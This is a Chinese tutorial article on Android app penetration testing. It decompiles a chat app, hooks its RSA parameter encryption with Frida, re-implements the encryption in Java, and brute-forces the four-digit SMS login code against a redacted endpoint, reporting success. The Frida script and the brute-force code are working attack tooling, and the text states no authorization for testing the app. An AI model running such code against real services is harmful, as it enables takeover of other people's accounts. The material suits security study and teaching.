【app渗透】破解apk app协议 测试接口等安全
2023-6-22 13:19:28 Author: moonsec(查看原文) 阅读量:19 收藏

免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。

最近暗月弄了数个安全圈交流的群 欢迎前来加入 有需要好友添加微信发送 进群

需要渗透测试培训联系 一扫下面微信

1.简介

很多收集app对登录提交的参数数据进行加密处理。而且还会验证参数是否被篡改。

有的app会生成一个sign值 用来验证提交的参数是否被篡改。

有的app则会对输入的参数 加密再发到服务器进行验证。

在app渗透中 破解这些协议显得极其重要,也是 渗透测试人员掌握的一项必不可少的节能。

破解协议后 还要对测试的数据进行封包 提交到服务器上。

2.抓包分析

打开今天要测试的app是某个聊天软件。在逍遥模拟器上安装。打开软件 输入手机和验证码登录。

使用burpsuite抓包

修改包提交 服务器会解密报错。

看到param的参数 是url和base64编码过的  并没有看到提交的手机号码和验证码的信息。因为这些参数信息被提交之前就被进行加密或编码。

解码之后都是乱码 url解码->base64解码

3.反编译分析

如果要测试验证码是否可预测,首先要知道提交参数的加密方式。所以要对app反编译再进行分析。

反编译的首先检测一下是否存在加壳。加壳的话还要脱壳。这个app并没有加壳 所以可以直接反编译得到源码。

使用jadx-gui 反编译apk得到源码 得到源码后 定位搜索关键词 定位 提交参数得地方。这里把url作为关键词搜索

点击跟进 进入之后发现是一个静态变量  右键 选择调用实例。

继续跟进。

从代码中 看到这里是一个post提交到url中 而且还会带上参数。

带上的参数是HashMap的内容。跟进hashMap赋值

hashMap赋值的参数还是挺多的。hashMap被 ParamUtil.getParam(hashMap)处理。所以跟进getParam函数

在  getParam 函数中还会往hashMap里面赋值 包括 t_token   tokenId  赋值完之后 用 JSON.toJSONString(map) 转成成字符串。再带入 RUtil.publicEncrypt(jSONString); 函数中处理。

跟进 publicEncrypt函数。

发现是一个rsa加密。

那加密的流程就是 提交的参数 赋值到hashmap 通过 JSON.toJSONString 转成成字符串,再通过rsa对字符串进行加密。

4.frida hook分析

使用hook分析hashmap 在hashmap的值除了从控件里面赋值 还有的部分从函数赋值进来。肉眼是很难分析出来了。所以使用frida hook关键函数进行分析。

整个静态方法是将传入的字符串 进行加密处理 hook整个字符串信息。编写脚本

Java.perform(function(){
var hash=null;
var class0 = Java.use("com.xxx.live.util.RUtil")
class0.publicEncrypt.implementation = function (str) {
hash = this.publicEncrypt(str)
console.log("str : "+ str);
console.log(hash);
return hash;
}

})

在app登录获取内容  

这样就可以看到获取相关的赋值 和rsa加密后的字符串。提交多次 发现某些值是固定的。所以不用再hook其他函数了。

5.java编写测试exp

测试可预测的验证码。把1234验证码替换成其他四位数号码即可。

现在字符串有了。就差一个加密函数。

rsa是非对称加密 公钥 加密  私钥解密。

上面的rsa是公钥加密的 首先找到公钥。公钥一般都在app内 很容易找到。

rsa 可以从 app中的加密类中copy下来 或者 自己编写 。这种标准的加密方式 网上也有很多工具类,本地修改一下即可。这里我就copy app类的加密类 再进行函数替换。

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import javax.crypto.Cipher;
import java.io.ByteArrayOutputStream;
import java.security.KeyFactory;
import java.security.NoSuchAlgorithmException;
import java.security.interfaces.RSAPublicKey;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.X509EncodedKeySpec;

class RUtil {
private static final String CHARSET = "UTF-8";
private static final String CIPHER = "RSA/ECB/PKCS1Padding";
private static final String RSA_ALGORITHM = "RSA";

RUtil() {
}

private static RSAPublicKey getPublicKey(String str) throws NoSuchAlgorithmException, InvalidKeySpecException {
return (RSAPublicKey) KeyFactory.getInstance(RSA_ALGORITHM).generatePublic(new X509EncodedKeySpec(Base64.decodeBase64(str)));
}

/* JADX INFO: Access modifiers changed from: package-private */
public static String publicEncrypt(String str) {
try {
Cipher cipher = Cipher.getInstance(CIPHER);
RSAPublicKey publicKey = getPublicKey(BuildConfig.rkey);
cipher.init(1, publicKey);
return Base64.encodeBase64String(rsaSplitCodec(cipher, 1, str.getBytes("UTF-8"), publicKey.getModulus().bitLength()));
} catch (Exception e2) {
e2.printStackTrace();
System.out.println("加密字符串[" + str + "]时遇到异常");
return "";
}
}

private static byte[] rsaSplitCodec(Cipher cipher, int i2, byte[] bArr, int i3) {
int i4;
byte[] doFinal;
if (i2 == 2) {
i4 = i3 / 8;
} else {
i4 = (i3 / 8) - 11;
}
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int i5 = 0;
int i6 = 0;
while (bArr.length > i5) {
try {
if (bArr.length - i5 > i4) {
doFinal = cipher.doFinal(bArr, i5, i4);
} else {
doFinal = cipher.doFinal(bArr, i5, bArr.length - i5);
}
byteArrayOutputStream.write(doFinal, 0, doFinal.length);
i6++;
i5 = i6 * i4;
} catch (Exception e2) {
e2.printStackTrace();
System.out.println("加解密阀值为[" + i4 + "]的数据时发生异常");
}
}
byte[] byteArray = byteArrayOutputStream.toByteArray();
IOUtils.closeQuietly(byteArrayOutputStream);
return byteArray;
}
}

把公钥的配置文件也copy下来。

public final class BuildConfig {
public static final String APPLICATION_ID = "1.1.1.1";
public static final String BUILD_TYPE = "release";
public static final boolean DEBUG = false;
public static final String FLAVOR = "";
public static final int VERSION_CODE = 66;
public static final String VERSION_NAME = "1.0.2";
public static final String charset = "UTF-8";
public static final boolean debug = false;
public static final String hostAddress = "http://xxxxx/app/";
public static final String rkey = "MIGfMA0GCSqGaaaa4GNADCBiQKBgQCeDdxxTmgUh9ldW7SqxUJVWIF+78K3eYgQNuZGjwshNaaaaCO7VmAcuie8iXWHR3Eb8pRJZHRQ60pDbTH8oMXaaaa";
public static final String socketIp = "1.1.1.1";
}

接着调用加密rsa加密类 加密字符串

把生成的加密内容再拿到burp 测试是否能正常通信 可以看到是正常通信 证明我们的加密方式并没有错误

接下来 就可以测试 验证码登录接口的安全  验证码是四位数 共0000-9999可能 一般是从1000-9999 所以用一个for循环不断提交即可。

编写脚本

import com.github.kevinsawicki.http.HttpRequest;

import java.util.HashMap;
import java.util.Map;

public class demo {
public static void main(String[] args) throws InterruptedException {
for (int i = 1000; i <=9999 ; i++) {

if(Check(String.valueOf(i))==true){
System.out.println(i);
break;
}
}

}
public static Boolean Check(String i){
Boolean is =false;
String s = RUtil.publicEncrypt("{\"ip\":\"127.0.0.1\",\"phone\":\"电话号码\",\"smsCode\":\""+i+"\",\"deviceNumber\":\"881740a8db3ded7bf5a41c63a2aacb7e\",\"t_phone_type\":\"Android\",\"t_system_version\":\"Android 7.1.2\",\"tokenId\":\"0\",\"shareUserId\":\"0\"}");
System.out.println(s);
Map data= new HashMap<>();
data.put("param",s);
HttpRequest requests = HttpRequest.post("http://网站.com/app/app/login.html").form(data);
String content = requests.body();
System.out.println(content);
if(content.contains("登陆成功")){
return true;
}
return is;
}
}

执行结果

5340就是登录的验证码。

还要继续测试 app的其他安全 例如 短信群发弱口令登录等。可以使用frida hook 分析不同的hashmap。再加密发送即可。so seay。

关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653587532&idx=1&sn=261b075ba19f3245cc6562a364fddf05&chksm=811b9e0eb66c17187ba8adabd35c09d199f8134a9246544b75660ee657c22f65308a598c487b#rd
如有侵权请联系:admin#unsafe.sh